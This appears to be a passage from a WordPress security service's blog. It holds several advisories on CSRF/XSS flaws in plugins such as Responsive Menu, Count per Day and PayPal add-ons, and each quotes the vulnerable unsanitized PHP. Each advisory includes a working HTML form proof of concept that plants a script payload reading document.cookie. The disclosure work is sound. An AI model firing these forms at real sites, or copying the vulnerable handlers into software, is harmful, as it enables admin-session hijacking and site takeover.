19 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Multi Feed Reader

Recently a report was released claiming that a SQL injection vulnerability had been fixed in the latest version of the plugin Multi Feed Reader. In checking into that we found that while the change made in that version improved security, it looked like there may not have actually been a vulnerability in the code before. While looking in to that report we found that the plugin does have a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on the plugin’s admin page.

The CSRF portion is due to a lack on nonce included in the form submitted to create or edit one of the plugin’s feedcollections.

As example of the XSS portion, when creating a new feedcolleciton the name of it is specified by the POST input “mfr_new_feedcollection_name” and is not sanitized (/mfrsettings.php):

74
75
76
77
78
79
80
81
// CREATE action
} elseif ( isset( $_POST[ 'mfr_new_feedcollection_name' ] ) ) {
	$name = $_POST[ 'mfr_new_feedcollection_name' ];
	$existing = FeedCollection::find_one_by_name( $name );
 
	if ( ! $existing ) {
		$fc = new FeedCollection();
		$fc->name = $name;

The name is output without being escaped in a number of locations including line 393 of the same file:

<input type="text" name="feedcollection[name]" value="<?php echo $current->name ?>" class="large-text">

We notified the developer of the plugin about the vulnerability and asked if they were provided any information on how the claimed SQL injection could have been exploited, we have yet to hear back from them.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=multi_feed_reader_handle&tab=edit when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=multi_feed_reader_handle" method="POST">
<input type="hidden" name="mfr_new_feedcollection_name" value="'><script>alert(document.cookie);</script>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • June 12, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in PayPal Buy Now Button

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the PayPal Buy Now Button plugin contains the same vulnerability with the additional issue that malicious JavaScript can saved to the setting’s, leading to cross-site scripting (XSS).

The CSRF issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /wp-ecommerce-paypal.php):

216
217
// save and update options
if (isset($_POST['update'])) {

For the XSS issue, when the settings are saved there is no sanitization done, as can be seen with the input “liveaccount”:

221
$options['liveaccount'] = 		$_POST['liveaccount'];
230
update_option("wpecpp_settingsoptions", $options);

When the settings are output they are not escaped, as again can been seen with “liveaccount”:

238
239
$options = get_option('wpecpp_settingsoptions');
foreach ($options as $k => $v ) { $value[$k] = $v; }
echo "<b>Live Account: </b><input type='text' name='liveaccount' value='".$value['liveaccount']."'> Required";

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=wp-ecommerce-setting, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=wp-ecommerce-settings" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="'><script>alert(document.cookie);</script>" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Easy PayPal Gift Certificate

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the Easy PayPal Gift Certificate plugin contains the same vulnerability with the additional issue that malicious JavaScript can saved to the setting’s, leading to cross-site scripting (XSS).

The CSRF issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /easy-paypal-shopping-cart.php):

273
274
// save and update options
if (isset($_POST['update'])) {

For the XSS issue, when the settings are saved there is no sanitization done, as can be seen with the input “liveaccount”:

278
$options['liveaccount'] = $_POST['liveaccount'];
296
update_option("wpepsc_settingsoptions", $options);

When the settings are output they are not escaped, as again can been seen with “liveaccount”:

304
305
$options = get_option('wpepsc_settingsoptions');
foreach ($options as $k => $v ) { $value[$k] = $v; }
echo "<b>Live Account: </b><input type='text' name='liveaccount' value='".$value['liveaccount']."'> Required";

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=hugeit_forms_custom_scripts, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=paypal-gift-certificate-settings" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="'><script>alert(document.cookie);</script>" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in PayPal Shopping Cart

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the PayPal Shopping Cart plugin contains the same vulnerability with the additional issue that malicious JavaScript can saved to the setting’s, leading to cross-site scripting (XSS).

The CSRF issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /easy-paypal-shopping-cart.php):

269
270
// save and update options
if (isset($_POST['update'])) {

For the XSS issue, when the settings are saved there is no sanitization done, as can be seen with the input “liveaccount”:

274
$options['liveaccount'] = $_POST['liveaccount'];
286
update_option("wpepsc_settingsoptions", $options);

When the settings are output they are not escaped, as again can been seen with “liveaccount”:

294
295
$options = get_option('wpepsc_settingsoptions');
foreach ($options as $k => $v ) { $value[$k] = $v; }
echo "<b>Live Account: </b><input type='text' name='liveaccount' value='".$value['liveaccount']."'> Required";

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=easy-paypal-shopping-cart, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=easy-paypal-shopping-cart" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="'><script>alert(document.cookie);</script>" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Responsive Menu

Recently we found that the plugin Responsive Menu had a cross-site request forgery (CSRF)/cross-site site scripting (XSS) vulnerability.

The CSRF portion of the vulnerability was due to a lack of a nonce on the plugin’s admin page and a lack of a check for a valid one when processing a request to change the plugin’s options.

For the XSS portion, in the file /app/Controllers/AdminController.php the function updateOptions() saves the options and no sanitization is done:

22
23
24
25
26
27
28
public function updateOptions(array $options) {
	$updated_options = $this->combineOptions($options);
	foreach($updated_options as $name => $val):
		$val = is_array($val) ? json_encode($val) : $val;
		$val = stripslashes($val);
		$updated_options[$name] = $val;
		$this->db->update('responsive_menu', ['value' => $val], ['name' => $name]);

Then, for example, the option “menu_to_hide” item is configured to be output through the file /css/app.css.twig without being escaped:

{% if options.menu_to_hide %}
	{{ options.menu_to_hide }} {

After we contacted the developer they released version 3.1.4, which fixes the vulnerability by fixing the CSRF portion of it by adding a nonce and a check to insure that a valid nonce is included when saving the plugin’s settings.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the frontend of the website, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=responsive-menu" method="POST">
<input type="hidden" name="menu[menu_to_hide]" value="</style><script>alert(document.cookie);</script>">
<input type="submit" name="responsive-menu-submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 22, 2017 – Developer notified.
  • May 22, 2017 – Developer responds.
  • June 10, 2017 – Version 3.1.4 released, which fixes vulnerability.
09 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Skype Legacy Buttons

One of the ways that we are able to provide wider coverage of WordPress plugin vulnerabilities than you can find elsewhere is that we do extensive monitoring of various places where information on vulnerabilities comes up. One of those is the Support Forum on wordpress.org, through that we ran across a odd statement in response to a review of the plugin Skype Legacy Buttons:

Please note that the Chrome browser will throw an error ERR_BLOCKED_BY_XSS_AUDITOR when submitting an email address as Skype ID. This will look scary but just refresh the page and you’ll see the settings have updated correctly.

That error isn’t caused by the issue they are claiming, but when we went to take a look at the plugin we found a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability.

For the CSRF portion the plugin actually included multiple nonces with the request to save the settings (it isn’t clear why there is more than one):

<?php wp_nonce_field('skype_status_options-metaboxes-general'); ?>
<?php wp_nonce_field('closedpostboxes','closedpostboxesnonce',false) ?>
<?php wp_nonce_field('meta-box-order','meta-box-order-nonce',false) ?>

The problem is that when saving the settings there is no check to make sure that a valid nonce is included, so those nonces have no impact.

One the settings on the page is intended to contain HTML code and preview of it is shown on the setting’s page, so that can be used to cause XSS when combined with the CSRF vulnerability.

We notified the developer of the issue over a week ago, but we haven’t heard back from them and the vulnerability has yet to be fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=skype-status.php, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=skype-status.php" method="POST">
<input type="hidden" name="skype_status_update" value="Save Changes">
<input type="hidden" name="button_theme" value="custom_edit">
<input type="hidden" name="button_template" value="</textarea><script>alert(document.cookie);</script>">
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

June 1, 2017 – Developer notified.

08 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Count per Day

Just a couple of days after we discussed a situation where a popular plugin had a vulnerability in it for years due to a security fix not being fully applied, we ran into another example of a security fix only being partially applied in a popular plugin. This time it involves the plugin Count per Day, which has 100,000+ active install according to wordpress.org.

As part of monitoring of changes to plugins to detect vulnerabilities being fixed and then add them to our data set, we saw that version 3.5.7 of the plugin appeared to have a security fix, the changelog entry for that version is “Bugfix: security fixes in notes, options”. In looking at the changes made in that version we could see that some user input values are now being sanitized using strip_tags(). In checking over things we found that that related to the plugin’s settings page.

The previous lack of sanitization on the plugin’s settings wouldn’t really a vulnerability if the saving of the plugin’s settings was properly restricted to Administrators, since those users have the unfiltered_html capability (it could be classified as a bug though). What we found though was that it wasn’t properly restricted as it lacked protection against cross-site request forgery (CSRF), which is a vulnerability that causes a user to take an action they didn’t intend. What we also found was that there additional plugin’s settings that lack necessary sanitization.

In looking at the underlying code in the file /counter-options.php you can see the lack of a check for a valid nonce, which is used to protect against CSRF, and the lack of sanitization on some inputs:

11
12
13
14
15
16
17
18
19
20
21
22
23
if(!empty($_POST['do']))
{
	switch($_POST['do'])
	{
		// update options
		case 'cpd_update' :
			$_POST['cpd_bots'] = preg_replace('/\r\n\r\n/', '', strip_tags($_POST['cpd_bots']));
			$count_per_day-&gt;options['onlinetime'] = $_POST['cpd_onlinetime'];
			$count_per_day-&gt;options['user'] = empty( $_POST['cpd_user'] ) ? 0 : 1 ;
			$count_per_day-&gt;options['user_level'] = $_POST['cpd_user_level'];
			$count_per_day-&gt;options['autocount'] = empty( $_POST['cpd_autocount'] ) ? 0 : 1 ;
			$count_per_day-&gt;options['bots'] = $_POST['cpd_bots'];
			$count_per_day-&gt;options['posttypes'] = str_replace(' ', '', $_POST['cpd_posttypes']);

The lack of CSRF protection also impacts a number of other actions that are control by code below that in the file.

We notified the developer of the vulnerability a month ago. We have yet to hear back from them and the vulnerability has yet to be fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=count-per-day%2Fcounter-options.php&tab=options, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=count-per-day/counter-options.php&tab=options" method="POST">
<input type="hidden" name="do" value="cpd_update" />
<input type="hidden" name="cpd_posttypes" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 5, 2017 – Developer notified.
01 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Companion Auto Update

We recently found that the plugin Companion Auto Update contained a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability with the plugin’s settings.

The CSRF portion is caused by a lack of a nonce being included with a request to change the plugin’s settings and a lack of check that valid one is included when doing the saving.

For the XSS portion, when the setting were saved the “Email address” input was not sanitized (in the file /companion-auto-update.php):

179
$email 			= $_POST['cau_email'];
187
$wpdb->query( " UPDATE $table_name SET onoroff = '$email' WHERE name = 'email' " );

When it was output on the settings page it wasn’t escaped either:

245
246
if( $cau_configs[4]->onoroff == '' ) $toemail = get_option('admin_email'); 
else $toemail = $cau_configs[4]->onoroff;
<input type="text" name="cau_email" id="cau_email" class="regular-text" placeholder="<?php echo get_option('admin_email'); ?>" value="<?php echo $toemail; ?>" />

After we notified the developer the released version 2.9.4, which fixes the XSS portion by sanitizing the input using sanitize_email():

181
$email          = sanitize_email( $_POST['cau_email'] );

The CSRF portion still exists at this time.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/tools.php?page=cau-settings, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/tools.php?page=cau-settings" method="POST">
<input type="hidden" name="cau_email" value='"</textarea><script>alert(document.cookie);</script>'>
<input type="submit" name="submit" value="Save Changes" />
</form>
</body>
</html>

Timeline

  • May 30, 2017 – Developer notified.
  • May 31, 2017 – Version 2.9.4 released, which fixes CSRF/XSS vulnerability. CSRF portion still exists.
31 May

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in WordPress Popular Posts

From time to time vulnerabilities are fixed in plugin without someone putting out a report on the vulnerability and we will put out a post detailing the vulnerability. While putting out the details of the vulnerability increases the chances of it being exploited, it also can help to identify vulnerabilities that haven’t been fully fixed (in some cases not fixed at all) and help to identify additional vulnerabilities in ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

08 May

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Huge IT Forms

From time to time vulnerabilities are fixed in plugin without someone putting out a report on the vulnerability and we will put out a post detailing the vulnerability. While putting out the details of the vulnerability increases the chances of it being exploited, it also can help to identify vulnerabilities that haven’t been fully fixed (in some cases not fixed at all) and help to identify additional vulnerabilities in ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.